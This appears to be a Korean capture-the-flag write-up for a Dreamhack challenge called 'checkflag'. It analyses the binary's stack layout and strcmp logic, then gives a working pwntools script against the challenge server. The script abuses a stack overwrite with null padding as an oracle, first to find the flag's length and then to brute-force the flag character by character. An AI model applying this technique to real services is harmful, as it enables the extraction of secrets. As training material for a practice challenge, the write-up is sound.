스택에서 rsp
부터 0xc8
만큼 0
으로 초기화한다. 현 시점에서 rsp
, rdi
, rbx
는 모두 동일하다.
flag
파일을 읽기 모드로 오픈한 후, rbp(rbx+0x40)
에 파일 내용을 0x40만큼 저장한다. 참고로 rbx+0x40
은 rsp+0x40
과 동일하다. 이후 파일을 다시 닫는다.
"What's the flag? "
문자열을 출력한 후 표준 입력을 받는다. 스택의 rbx(rsp)
부터 최대 0xc8
까지 입력 데이터가 저장된다.
플래그의 길이
를 계산해 rax
에 저장한 후, 입력 데이터의 길이
rdx
보다 큰지 확인한다. 만약 플래그의 길이
가 입력 데이터의 길이
보다 크다면 "Failed!\n"
을 출력한 후 종료한다.
만약 플래그의 길이
가 입력 데이터의 길이
보다 작거나 같다면, 두 데이터가 동일한지 비교한다. 만약 동일하다면 "Correct!\n"
문자열을, 그렇지 않다면 "Wrong!\n"
문자열을 출력한 후 종료한다.
바이너리의 실행 흐름에 따르면, 스택은 위와 같이 구성된다. 플래그의 최대 길이는 0x3f
인데, 길이 1
DH{}
를 제외한 길이 0x3b
까지 문자 0x20
~0x7f
의 조합을 브루트포싱하기에는 매우 오랜 시간이 걸린다.
왜 플래그의 최대 길이가 0x40이 아닌 0x3f인가요?
null을 제외한플래그의 길이
가0x40
이라면,입력 데이터의 길이
도 마찬가지로 null을 제외하여0x40
이어야 한다. 하지만 위 스택 구성 그림에서 볼 수 있듯이,입력 데이터의 길이
가0x40
이라면, 플래그와의strcmp()
는 무조건 실패한다. 따라서 (null을 제외한)플래그의 길이
는 최대0x3f
가 되어야 한다.
먼저 플래그의 길이를 파악하는 것부터 시작한다. 위 스택 그림과 같이, 입력 데이터를 <특정 길이의 데이터>+<null padding>+<특정 길이의 데이터>
로 구성하여 입력한다. 아래 첫, 두 번째 스택의 경우 "Correct!\n"
을 출력하지만, 세 번째 스택의 경우 "Failed!\n"
을 출력한다. 따라서 "Failed!\n"
가 출력될 때까지 <특정 길이의 데이터>
의 길이를 1씩 줄여나간다. 만약 "Failed!\n"
가 출력되었다면, 그때의 <특정 길이의 데이터>
의 길이 + 1이 곧 플래그의 길이
가 된다.
플래그의 길이를 구했다면, <특정 길의의 데이터>+<임의 문자>+<찾아진 문자열>+"}"+<null padding>+<특정 길이의 데이터>
의 형태로 입력해 플래그를 거꾸로 찾는다. 만약 <임의 문자>
가 플래그의 해당 위치의 문자와 동일하다면, <임의 문자>
를 <찾아진 문자열>
에 합친 후 다음 문자를 찾는다. 또한 <특정 길이의 데이터>
는 1씩 줄여간다.
from pwn import *
#Find flag length
flag_len = 0
for length in range(0x3f, 0, -1):
test_payload = b'A' * length
payload = test_payload + b'\x00' * (0x40 - len(test_payload)) + test_payload
#p = process('./checkflag')
p = remote('host3.dreamhack.games', 20489)
p.sendafter(b'flag?', payload)
if ord('F') in p.recvuntil(b'!\n'):
print('length:', length + 1)
flag_len = length + 1
p.close()
break
p.close()
#Bruteforcing length 16 - 4(DH{})
found_flag = b''
for i in range(flag_len - 4):
for c in range(0x20, 0x7f):
test_payload = b'A' * (flag_len - 2 - i) + chr(c).encode() + found_flag + b'}'
payload = test_payload + b'\x00' * (0x40 - len(test_payload)) + b'A' * (flag_len - 2 - i)
#p = process('./checkflag')
p = remote('host3.dreamhack.games', 20489)
p.sendafter(b'flag?', payload)
if ord('C') in p.recvuntil(b'!\n'):
print(f'flag[{flag_len - 2 - i}] = {chr(c)}')
found_flag = chr(c).encode() + found_flag
p.close()
break
p.close()
print('DH{' + found_flag.decode() + '}')